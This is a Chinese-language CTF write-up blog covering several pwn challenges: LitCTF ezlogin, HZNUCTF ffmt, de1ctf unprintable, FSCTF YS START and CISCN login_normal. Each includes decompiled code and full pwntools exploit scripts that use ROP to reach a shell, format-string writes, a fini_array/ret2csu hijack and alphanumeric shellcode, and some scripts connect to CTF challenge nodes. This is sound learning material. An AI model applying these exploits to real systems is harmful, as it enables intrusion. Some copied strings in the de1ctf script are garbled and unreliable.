刷题记录2 [LitCTF 2023]ezlogin 首先是符号表的恢复,将随便一个libc.so的i64文件,拖到bindiff里,然后import即可恢复大部分的函数
静态分析 1 2 3 4 5 6 7 8 9 10 11 12 13 int  __cdecl main (int  argc, const  char  **argv, const  char  **envp) {   const  char  **v3;    __int64 v5;    setbuffer(off_6B97A8, 0LL );   setbuffer(off_6B97A0, 0LL );   setbuffer(off_6B9798, 0LL );   while  ( !vlun(&v5, 0LL , v3) )     ;   puts ("GoodTime." );   return  0 ; } 
1 2 3 4 5 6 7 8 9 10 11 int  __cdecl vlun (int  v5, const  char  **argv, const  char  **envp) {   char  v4[536 ];    puts ("Input your password:" );   memset (v4, 0 , 0x200 uLL);   if  ( read(0 , v4, 0x200 uLL) > 0x50 u )     exit (-1 );   j_strcpy(*&v5, v4);                              return  strcmp (v4, "PASSWORD" ) == 0 ;            } 
可以发现v5处有个栈溢出,可以实现ret2syscall
其中的限制read发现汇编
1 2 .text:0000000000400C07 3C 50                         cmp     al, 50h  .text:0000000000400C09 77 33                         ja      short loc_400C3E 
主要是如果al>50h的话就会exit,而显然al只有一个字节8位,所以只要刚好当al=0的时候即他的低位<=50h即可(学到了,还可以这样搞
接下来就是要思考如何绕过strcpy的\x00截断了,因为我们的rop链显然会有大量的\x00
如何绕过呢?有一个思路就是先把已经构造好的rop链将\x00都替换成A传进去,然后再一字节一字节更改位\x00
1 2 3 4 5 6 7 8 9 def  gadget (content ):    content = content + b'\x00'      content = content[-1 ::-1 ]     for  i in  range (0 , len (content)):         if  content[i] == 0 :             payload = content[i+1 :][-1 ::-1 ].replace(b'\x00' , b'A' )             padding = b'A'  * 0x108              log.success('Payload: '  + (str (payload)))             io.sendafter(b'password:' , padding + payload) 
这个脚本主要是绕过\x00截断的,然后他是先把payload的\x00都换成A,然后将payload倒置过来,之后找到第一个\x00将其之后的,即倒置过来看就是找到最后一个\x00将其的之前所有的\x00都替换为A然后输入,之后就是从\x00之前再寻找最后一个\x00一直重复找,就可以将所有的字节输入进去辣,(使我的大脑无限旋转
之后的rop链就很简单构造了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 from  pwn import  *io = process('./ezlogin' ) elf = ELF('./ezlogin' ) libc = ELF('/home/bamboo/glibc-all-in-one-master/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so' ) context(arch='amd64' , os='linux' , log_level='debug' ) rax = 0x4005AF  rdi = 0x400706  rsi = 0x410043  rdx = 0x448C95  syscall = 0x448D5F  bss = 0x6BB300  main = 0x4005C0  def  debug ():    gdb.attach(io)     pause() def  gadget (content ):    content = content + b'\x00'      content = content[-1 ::-1 ]     for  i in  range (0 , len (content)):         if  content[i] == 0 :             payload = content[i+1 :][-1 ::-1 ].replace(b'\x00' , b'A' )             padding = b'A'  * 0x108              log.success('Payload: '  + (str (payload)))             io.sendafter(b'password:' , padding + payload) debug() Payload = p64(rax) + p64(0 ) + p64(rdi) + p64(0 ) + p64(rsi) + p64(bss) + p64(syscall) + p64(main) gadget(Payload) Payload = b'PASSWORD\x00'  io.sendafter(b'password:' , Payload) io.send(b'/bin/sh\x00' ) Payload = p64(rax) + p64(59 ) + p64(rdi) + p64(bss) + p64(rsi) + p64(0 ) + p64(rdx) + p64(0 ) + p64(syscall) gadget(Payload) Payload = b'PASSWORD\x00'  io.sendafter(b'password:' , Payload) io.interactive() 
[HZNUCTF 2023 preliminary]ffmt 
静态分析 1 2 3 4 5 6 7 8 9 10 11 12 13 int  __cdecl main (int  argc, const  char  **argv, const  char  **envp) {   char  buf[8 ];    init(argc, argv, envp);   puts ("Welcome to HCNUCTF!" );   puts ("Your name: " );   read(0 , buf, 8uLL );   printf (buf);   puts (", hell0, please say something about yourself~" );   vuln();   return  0 ; } 
发现一个格式化字符串漏洞
1 2 3 4 5 6 7 int  vuln () {   char  buf[32 ];    read(0 , buf, 0x20 uLL);   return  printf (buf); } 
这里还有一个,程序中有个backdoor,因此想的是改尾巴一个字节到backdoor,因此就能想到第一个格式化字符串漏洞泄露栈地址,然后第二个直接改
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from  pwn import *context.log_level='debug'  path='./ffmt'  elf=ELF(path) r   =lambda  num=4096 				:p.recv(num) ru  =lambda  content,drop=False 		:p.recvuntil(content,drop) rl  =lambda  						:p.recvline() sla =lambda  flag,content			:p.sendlineafter(flag,content) sa  =lambda  flag,content			:p.sendafter(flag,content) sl  =lambda  content					:p.sendline(content) s   =lambda  content					:p.send(content) irt =lambda  						:p.interactive() tbs =lambda  content					:str (content).encode() leak=lambda  name,addr 				:info(f'{name} ====>{hex (addr)} ' ) local=0  def  run ():    if  local:         return  process(path)     return  remote('node5.anna.nssctf.cn' ,25151 ) def  debug (duan=0  ):    if  local:         if  duan:             gdb.attach(p,duan)             pause()             return          gdb.attach(p)         pause() p=run() sla(b'Your name: \n' ,b'%11$p' ) r(2 ) ret_addr=int (r(12 ),16 )-0x140 +48  leak('ret_addr' ,ret_addr) pal=b'%35c%8$hhnaaaaaa'  + p64(ret_addr) sla(b'yourself~\n' ,pal) irt() 
很经典的格式化字符串漏洞
64位格式字符串漏洞的偏移到栈上是从rsp下面一个开始的
%hhn 写一字节 
%hn 写两字节 
%n 把已经成功输出的字符个数写入对应的整型指针参数所指的变量。将栈上的内容作为地址解析,然后改变这个地址上的内容,写四字节 
%ln 32位写四字节,64位写八字节 
%lln 写八字节 
 
 
太久没做都着了道了
de1ctf_2019_unprintable 本题的环境是libc-2.23.so的,如果版本不一样会导致栈空间不一样不能getshell(一晚上(lll¬ω¬)得来的
静态分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 int  __cdecl __noreturn main (int  argc, const  char  **argv, const  char  **envp) {   char  v3[8 ];    unsigned  __int64 v4;    v4 = __readfsqword(0x28 u);   setbuf(stdin , 0LL );   setbuf(stdout , 0LL );   setbuf(stderr , 0LL );   puts ("Welcome to Ch4r1l3's printf test" );   printf ("This is your gift: %p\n" , v3);   close(1 );   read(0 , buf, 0x1000 uLL);   printf (buf);   exit (0 ); } 
发现给了栈的地址,然后关闭了标准输出流,又有一个非栈上的格式化字符串漏洞(0x601060)(buff拉满了(bushi
这题考到一个小trick:
exit会调用dl_fini函数,我们看看dl_fini函数的源码
会发现执行的时候调用(l->l_addr+l->l_info[DY_FINI_ARRAY]->d_un.d_ptr),本来l->l_addr为0,而l->l_info[DT_FINI_ARRAY]->d_un.d_ptr指针指向程序中的fini_array段的地址,也就是l->l_info[DT_FINI_ARRAY]->d_un.d_ptr的值为0x0000000000600DD8
这时就通过覆盖I->I_addr来劫持fini_array的地址
执行exit中的调用函数(发现雀氏
发现栈上
有个I->I_addr的地址,就可以通过改这个地址上的值来偏移
其中可以通过看这个与众不同的颜色可以知道这是来自于ld.so文件里的,而这个地址为什么恰好出现在栈上可能是因为在exit函数中,会通过这个来调用dl_fini函数
 
通过fmtarg查偏移(问就是懒(bushi
1 payload =tbs('%' +str (0x298 )+'c' +'%26$hn' ).ljust(0x10 ,b'\x00' )+p64(read_addr) 
通过这个便可以二次利用read了
而第二次的printf得到的栈空间有着成堆的rop链,非常好的进行构造
1和2指向的都是栈空间,能实现在栈空间的任意写,而2能实现printf_loop,或者rip的任意写
有了任意写之后就要用ROP来getshell了
(在此发现这题的exp有点复杂,因此只做思路上的利用,就不打了(等之后再次遇到相似的题目再进行利用≧ ﹏ ≦
在libc_csu_init中可以控制rbx rbp r12 r13 r14 r15
然后有一个rop
1 .text:00000000004006E8                 adc     [rbp+48h] , edx 
它的作用是将exp+[rbp+48h]的值之后存储在rbp+48h中(最神奇的地方,第一次利用这种rop
而其中的edx和rbp都是可以控制的,所以我们就可以实现一次任意写。
可以看到程序空间里存在stderr,stdin,stdout,它们都指向libc,所以可以修改它们为one_gadget来getshell。
在关闭aslr的情况下stderr和one_gadget分别为:
1 2 stderr  = 0 x601040  one = 0 x7ffff7afe147
计算偏移修改即可。
修改完之后再次利用ret2csu传stderr的地址给r12,**最后调用call qword ptr [r12+rbx*8]**拿到shell。
(非常好的思路让我大脑旋转
附上完整exp :(from )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 from  pwn_debug import  *pdbg=pwn_debug("1" ) pdbg.context.terminal=['tmux' , 'splitw' , '-h' ] context.log_level='debug'  pdbg.local("" ) pdbg.debug("2.23" ) pdbg.remote('111.198.29.45' ,) switch=1  if  switch==1 :    p=pdbg.run("local" ) elif  switch==2 :    p=pdbg.run("debug" ) elif  switch==3 :    p=pdbg.run("remote" ) s       = lambda  data               :p.send(str (data))         sa      = lambda  delim,data         :p.sendafter(str (delim), str (data))  sl      = lambda  data               :p.sendline(str (data))  sla     = lambda  delim,data         :p.sendlineafter(str (delim), str (data))  r       = lambda  numb=4096           :p.recv(numb) ru      = lambda  delims, drop=True   :p.recvuntil(delims, drop) it      = lambda                     :p.interactive() uu32    = lambda  data   :u32(data.ljust(4 , '' )) uu64    = lambda  data   :u64(data.ljust(8 , '' )) bp      = lambda  bkp                :pdbg.bp(bkp) sh_x86_18="x6ax0bx58x53x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"  sh_x86_20="x31xc9x6ax0bx58x51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"  sh_x64_21="xf7xe6x50x48xbfx2fx62x69x6ex2fx2fx73x68x57x48x89xe7xb0x3bx0fx05"  def  pwn ():    pop_rsp=0x40082d      ru('This is your gift: ' )     stack=int (ru('n' ),16 )               print  hex (stack)     payload1='%' +str (0x298 )+'c' +'%26$hn'      payload1=payload1.ljust(16 ,'x00' )+p64(0x4007A3 )     sleep(0.1 )     sl(payload1)     bp([0x4007c1 ])     sleep(0.1 )     payload2='%' +str (0xa3 )+'c%23$hhn'      sl(payload2)     input ()     sleep(0.1 )     stack_tail=(stack-280 )&0xff      payload3='%' +str (0x48 )+'c%18$hhn' +'%' +str (0xa3 -0x48 )+'c%23$hhn'      sleep(0.1 )     sl(payload3)          sleep(0.2 )     payload4='%' +str (stack_tail)+'c%18$hhn' +'%' +str (0xa3 -stack_tail)+'c%23$hhn'      sl(payload4)     sleep(0.1 )     payload5='%13$n' +'%' +str (0xa3 )+'c%23$hhn'      sl(payload5)     sleep(0.2 )     payload4='%' +str (stack_tail+4 )+'c%18$hhn' +'%' +str (0xa3 -stack_tail-4 )+'c%23$hhn'      sl(payload4)     sleep(0.1 )     payload5='%13$n' +'%' +str (0xa3 )+'c%23$hhn'      sl(payload5)       sleep(0.2 )     payload4='%' +str (stack_tail+4 )+'c%18$hhn' +'%' +str (0xa3 -stack_tail-4 )+'c%23$hhn'      sl(payload4)     sleep(0.1 )     payload5='%13$n' +'%' +str (0xa3 )+'c%23$hhn'      sl(payload5)     sleep(0.2 )      payload4='%' +str (stack_tail)+'c%18$hhn' +'%' +str (0xa3 -stack_tail)+'c%23$hhn'      sl(payload4)     sleep(0.1 )     payload5='%' +str (0xa3 )+'c%23$hhn' +'%' +str (0x10a0 -0xa3 )+'c%13$hn'      sl(payload5)     sleep(0.2 )      payload4='%' +str (stack_tail+2 )+'c%18$hhn' +'%' +str (0xa3 -stack_tail-2 )+'c%23$hhn'      sl(payload4)     sleep(0.1 )     payload5='%' +str (0x60 )+'c%13$hhn' +'%' +str (0xa3 -0x60 )+'c%23$hhn'      sl(payload5)          prbp = 0x400690       prsp = 0x40082d       adc = 0x4006E8        '''      adc    DWORD PTR [rbp+0x48],edx     mov    ebp,esp     call   0x400660 <deregister_tm_clones>     pop    rbp     mov    byte ptr [rip + 0x20094e], 1 <0x601048>     ret     mov    eax,0x601017     push   rbp     sub    rax,0x601010     cmp    rax,0xe     mov    rbp,rsp     jbe    0x400690      pop    rbp     ret        '''     arsp = 0x0400848       prbx = 0x40082A       call = 0x400810                                                                      stderr = 0x601040        one= 0x7ffff7afe147      rop=0x6010a0      payload6 = p64(arsp)*3           payload6 += flat(prbx,0 ,stderr-0x48 ,rop,0xFFD2BC07 ,0 ,  0 ,  call)     payload6 += flat(adc,0 ,prbx,0 ,0 ,stderr,0 ,0 ,0 ,0x400819 )     sleep(1 )     payload5='%' +str (0x82d )+'c%23$hn'      payload5=payload5.ljust(0x40 ,'x00' )+payload6          sl(payload5)     it() if  __name__=='__main__' :    while  1 :         try :             pwn()         except :             p.close()             p=pdbg.run("local" ) 
d3ctf_2019_unprintablev 
禁掉了execve
实力不济(先鸽了
[第六届强网拟态线下赛]fmt 
1 2 3 4 5 6 7 8 9 10 11 12 int  __cdecl __noreturn main (int  argc, const  char  **argv, const  char  **envp) {   __int64 savedregs;    setbuf(stdin , 0LL );   setbuf(stdout , 0LL );   setbuf(stderr , 0LL );   printf ("Gift: %x\n" , (unsigned  __int16)((unsigned  __int16)&savedregs - 12 ));   read(0 , buf, 0x100 uLL);   printf (buf);   _exit(0 ); } 
一个栈的后四位地址,然后还有一个非栈上的格式化字符串漏洞(一头雾水
实力不济(先鸽了
[FSCTF 2023]YS,START! 
这题目比较阴间的地方就是不能反汇编,但是有点玄学,就是把ret undefine掉就可以反汇编了,不理解但是大为震撼
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 void  __cdecl main () {   int  v0;    int  v1;    int  v2;    int  v3;    int  v4;    int  v5;    int  v6;    int  v7;    int  v8;    int  v9;    int  v10;    int  v11;    int  v12;    int  v13;    int  v14;    int  v15;    int  v16;    int  v17;    int  v18;    int  v19;    int  v20;    int  v21;    int  v22;    _DWORD v23[35 ];    int  v24;    unsigned  int  buf;    int  v26;    int  v27;    int  fd;    char  s2[16 ];    char  format[16 ];    char  s1[16 ];    unsigned  int  v32;    v32 = __readgsdword(0x14 u);   dword_804C044 = 0 ;   fd = open("/dev/urandom" , 0 );   read(fd, &buf, 4u );   buf %= 0xF4240 u;   puts ("Ciallo~(∠・ω< )⌒☆, What is your name?" );   __isoc99_scanf("%15s" , format, v0, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17);   printf (format);                                  puts (",PLAY Genshin Impact?(y or n)" );   read(0 , (char  *)&v24 + 3 , 1u );   getchar();   if  ( HIBYTE(v24) == 'n'  )   {     puts ("goodbye" );   }   else    {     read(fd, &v26, 4u );     read(fd, s2, 0xF u);     puts ("Please enter your account and password" );     printf ("Account:" );     __isoc99_scanf(       "%d" ,       &v27,       v18,       v19,       v23,       v20,       v21,       v22,       v23[0 ],       v23[1 ],       v23[2 ],       v23[3 ],       v23[4 ],       v23[5 ],       v23[6 ],       v23[7 ],       v23[8 ],       v23[9 ],       v23[10 ],       v23[11 ]);     printf ("Password:" );     __isoc99_scanf(       "%15s" ,       s1,       v23[14 ],       v23[15 ],       v23[16 ],       v23[17 ],       v23[18 ],       v23[19 ],       v23[20 ],       v23[21 ],       v23[22 ],       v23[23 ],       v23[24 ],       v23[25 ],       v23[26 ],       v23[27 ],       v23[28 ],       v23[29 ],       v23[30 ],       v23[31 ]);     if  ( v27 == v26 && !strcmp (s1, s2) )               dword_804C044 = 1 ;     if  ( dword_804C044 )                             {       puts ("Login is risky. The verification code has been sent to 151xxxx1916" );       puts ("Please enter the verification code:" );       ((void  (__stdcall *)(const  char  *, int  *, _DWORD, int , unsigned  int , int ))__isoc99_scanf)(         "%d" ,         &v27,         v23[34 ],         v24,         buf,         v26);       if  ( v27 == buf )                                {         puts ("Genshin Impact, start!" );         system("/bin/sh" );                             }       else        {         puts ("verification code error" );       }     }     else      {       puts ("Account or password error" );     }   }   if  ( v32 != __readgsdword(0x14 u) )     sub_80494D0();   JUMPOUT(0x80494C5 );                            } 
逆向并不难
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from  pwn import *import  binasciicontext.log_level='debug'  elf=ELF('./start2' ) p=process('./start2' ) pal=p32(0x0804C044 )+b'%15$hn' +b'%7$p'  p.sendlineafter(b'What is your name?\n' ,pal) data=p.recvuntil(b",P" , drop=True )[-5 :] print (data)p.sendafter(b'LAY Genshin Impact?(y or n)\n' ,b'y' ) p.sendlineafter(b'Please enter your account and password\n' ,b'1\na' ) p.sendlineafter(b'Please enter the verification code:\n' ,str (int (data,16 ))) p.interactive() 
这样就打通了。。//
如何解决ida7.7反编译不了 之后去问了菜哥,他的8.3ida是反编译得了的,然后提示信息是0x80493A9上栈帧出了问题,而我们undefine掉ret会发现scanf的参数十分的多,这就是问题所在了(以前一直以为是常态),因此到scanf点击y,将参数改成两个就可以成功反编译了
这样就可以成功了
可以看到成功的代码就是如此的赏心悦目
[CISCN 2022 初赛]login_normal 本题的漏洞点不难,只是逆向要花点时间
静态分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 void  __fastcall __noreturn main (__int64 a1, char  **a2, char  **a3) {   char  s[1032 ];    unsigned  __int64 v4;    v4 = __readfsqword(0x28 u);   init_0();   while  ( 1  )   {     memset (s, 0 , 0x400 uLL);     printf (">>> " );     read(0 , s, 0x3FF uLL);     sub_FFD(s);   } } 
首先是读点数据,然后传参
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 unsigned  __int64 __fastcall sub_FFD (const  char  *ptr) {   char  *sa;    char  *sb;    char  *sc;    char  *sd;    char  v7;    int  v8;    int  v9;    void  *dest;    char  *ptr2;    char  *nptr;    unsigned  __int64 v13;    v13 = __readfsqword(0x28 u);   memset (qword_202040, 0 , sizeof (qword_202040));   v8 = 0 ;   v7 = 0 ;   dest = 0LL ;   while  ( !*ptr || *ptr != '\n'  && (*ptr != '\r'  || ptr[1 ] != '\n' ) )   {     if  ( v8 <= 5  )       qword_202040[2  * v8] = ptr;     sb = strchr (ptr, ':' );     if  ( !sb )     {       puts ("error." );       exit (1 );     }     *sb = 0 ;     for  ( sc = sb + 1 ; *sc && (*sc == ' '  || *sc == '\r'  || *sc == '\n'  || *sc == '\t' ); ++sc )       *sc = 0 ;     if  ( !*sc )     {       puts ("abort." );       exit (2 );     }     if  ( v8 <= 5  )       qword_202040[2  * v8 + 1 ] = sc;     sd = strchr (sc, '\n' );     if  ( !sd )     {       puts ("error." );       exit (3 );     }     *sd = 0 ;     ptr = sd + 1 ;     if  ( *ptr == '\r'  )       *ptr++ = 0 ;     ptr2 = (char  *)qword_202040[2  * v8];     nptr = (char  *)qword_202040[2  * v8 + 1 ];     if  ( !strcasecmp(ptr2, "opt" ) )     {       if  ( v7 )       {         puts ("error." );         exit (5 );       }       v7 = atoi(nptr);     }     else      {       if  ( strcasecmp(ptr2, "msg" ) )       {         puts ("error." );         exit (4 );       }       if  ( strlen (nptr) <= 1  )       {         puts ("error." );         exit (5 );       }       v9 = strlen (nptr) - 1 ;       if  ( dest )       {         puts ("error." );         exit (5 );       }       dest = calloc (v9 + 8 , 1uLL );       if  ( v9 <= 0  )       {         puts ("error." );         exit (5 );       }       memcpy (dest, nptr, v9);     }     ++v8;   }   *ptr = 0 ;   sa = (char  *)(ptr + 1 );   if  ( *sa == 10  )     *sa = 0 ;   switch  ( v7 )   {     case  2 :       sub_DA8(dest);       break ;     case  3 :       sub_EFE(dest);       break ;     case  1 :       sub_CBD(dest);       break ;     default :       puts ("error." );       exit (6 );   }   return  __readfsqword(0x28 u) ^ v13; } 
这一串代码看着让人怀疑人生,因此分段分析,主要分为3部分,1:初始化,2:判断字符串格式并将相应位置的值传进去,3:便是switch,功能函数
判断字符串格式 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 while  ( !*ptr || *ptr != '\n'  && (*ptr != '\r'  || ptr[1 ] != '\n' ) ){     if  ( v8 <= 5  )         qword_202040[2  * v8] = ptr;     sb = strchr (ptr, ':' );     if  ( !sb )     {         puts ("error." );         exit (1 );     }     *sb = 0 ;     for  ( sc = sb + 1 ; *sc && (*sc == ' '  || *sc == '\r'  || *sc == '\n'  || *sc == '\t' ); ++sc )         *sc = 0 ;     if  ( !*sc )     {         puts ("abort." );         exit (2 );     }     if  ( v8 <= 5  )         qword_202040[2  * v8 + 1 ] = sc;     sd = strchr (sc, '\n' );     if  ( !sd )     {         puts ("error." );         exit (3 );     }     *sd = 0 ;     ptr = sd + 1 ;     if  ( *ptr == '\r'  )         *ptr++ = 0 ;     ptr2 = (char  *)qword_202040[2  * v8];     nptr = (char  *)qword_202040[2  * v8 + 1 ];     if  ( !strcasecmp(ptr2, "opt" ) )     {         if  ( v7 )         {             puts ("error." );             exit (5 );         }         v7 = atoi(nptr);     }     else      {         if  ( strcasecmp(ptr2, "msg" ) )         {             puts ("error." );             exit (4 );         }         if  ( strlen (nptr) <= 1  )         {             puts ("error." );             exit (5 );         }         v9 = strlen (nptr) - 1 ;         if  ( dest )         {             puts ("error." );             exit (5 );         }         dest = calloc (v9 + 8 , 1uLL );         if  ( v9 <= 0  )         {             puts ("error." );             exit (5 );         }         memcpy (dest, nptr, v9);     }     ++v8; } 
一个判断就占大部分的代码段,建议放在逆向里(bushi
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 if  ( v8 <= 5  )        qword_202040[2  * v8] = ptr; sb = strchr (ptr, ':' ); if  ( !sb ){     puts ("error." );     exit (1 ); } *sb = 0 ; for  ( sc = sb + 1 ; *sc && (*sc == ' '  || *sc == '\r'  || *sc == '\n'  || *sc == '\t' ); ++sc )    *sc = 0 ; if  ( !*sc ){     puts ("abort." );     exit (2 ); } if  ( v8 <= 5  )    qword_202040[2  * v8 + 1 ] = sc; sd = strchr (sc, '\n' ); if  ( !sd ){     puts ("error." );     exit (3 ); } *sd = 0 ; ptr = sd + 1 ; if  ( *ptr == '\r'  )    *ptr++ = 0 ; ptr2 = (char  *)qword_202040[2  * v8]; nptr = (char  *)qword_202040[2  * v8 + 1 ]; 
首先qword_202040数组的第一个参数是传进来的字符串的开头,然后sb便是字符串中:的下一个字符,之后sc就是sb之后的正常的可读字符,然后qword_202040的第二个参数就是sc,即:后的可读字符,然后再找到sc之后即:后面的一个\n,存进sd里
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 if  ( !strcasecmp(ptr2, "opt" ) ){     if  ( v7 )     {         puts ("error." );         exit (5 );     }     v7 = atoi(nptr); } else {     if  ( strcasecmp(ptr2, "msg" ) )     {         puts ("error." );         exit (4 );     }     if  ( strlen (nptr) <= 1  )     {         puts ("error." );         exit (5 );     }     v9 = strlen (nptr) - 1 ;     if  ( dest )     {         puts ("error." );         exit (5 );     }     dest = calloc (v9 + 8 , 1uLL );     if  ( v9 <= 0  )     {         puts ("error." );         exit (5 );     }     memcpy (dest, nptr, v9); } ++v8; 
之后就是判断字符串的开头必须是msg或者opt然后跟上:,:之后就是dest或v7的值
从而得知格式要求:
1 opt:v7\nmsg:dest\n  或者msg:dest\nopt:v7\n 
漏洞点 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 unsigned  __int64 __fastcall sub_DA8 (const  char  *a1) {   unsigned  int  v1;    size_t  v2;    int  i;    void  *dest;    unsigned  __int64 v6;    v6 = __readfsqword(0x28 u);   for  ( i = 0 ; i < strlen (a1); ++i )   {     if  ( !isprint (a1[i]) && a1[i] != '\n'  )     {       puts ("oh!" );       exit (-1 );     }   }   if  ( unk_202028 != 1  )   {     puts ("oh!" );     exit (-1 );   }   if  ( unk_202024 )   {     v1 = getpagesize();     dest = (void  *)(int )mmap((char  *)&loc_FFE + 2 , v1, 7 , 34 , 0 , 0LL );     v2 = strlen (a1);     memcpy (dest, a1, v2);     ((void  (*)(void ))dest)();   }   else    {     puts (a1);   }   return  __readfsqword(0x28 u) ^ v6; } 
要求是unk_202024这个上面的值要为真,进而会执行dest上的函数,之前的mmap是为了让执行段可执行,映射到内存里,不然一直都在栈上显然是不可以执行的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 unsigned  __int64 __fastcall sub_CBD (const  char  *a1) {   int  i;    unsigned  __int64 v3;    v3 = __readfsqword(0x28 u);   for  ( i = 0 ; i < strlen (a1); ++i )   {     if  ( !isprint (a1[i]) && a1[i] != 10  )     {       puts ("oh!" );       exit (-1 );     }   }   if  ( !strcmp (a1, "ro0t" ) )   {     unk_202028 = 1 ;     unk_202024 = 1 ;   }   else    {     unk_202028 = 1 ;   }   return  __readfsqword(0x28 u) ^ v3; } 
显然要先传进去ro0t但是它上面传输的字节其实是少传一个字节因此要多传一个无用字节
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from  pwn import *context.log_level='debug'  path='./login2'  elf=ELF(path) amd64shell=b"RRYh00AAX1A0hA004X1A4hA00AX1A8QX44Pj0X40PZPjAX4znoNDnRYZnCXAA"  r   =lambda  num=4096 				:p.recv(num) ru  =lambda  content,drop=False 		:p.recvuntil(content,drop) rl  =lambda  						:p.recvline() sla =lambda  flag,content			:p.sendlineafter(flag,content) sa  =lambda  flag,content			:p.sendafter(flag,content) sl  =lambda  content					:p.sendline(content) s   =lambda  content					:p.send(content) irt =lambda  						:p.interactive() tbs =lambda  content					:str (content).encode() leak=lambda  name,addr 				:info(f'{name} ====>{hex (addr)} ' ) local=1  def  run ():    if  local:         return  process(path)     return  remote('node4.anna.nssctf.cn' ,28735 ) def  debug (duan=0  ):    if  local:         if  duan:             gdb.attach(p,duan)             pause()             return          gdb.attach(p)         pause() p=run() context.arch='amd64'  context.os='linux'  payload=b'msg:ro0tt\nopt:1\n'  ru(b'>>> ' ) sl(payload) payload=b'opt:2\nmsg:' +amd64shell+b'\n'  ru(b'>>> ' ) sl(payload) p.interactive()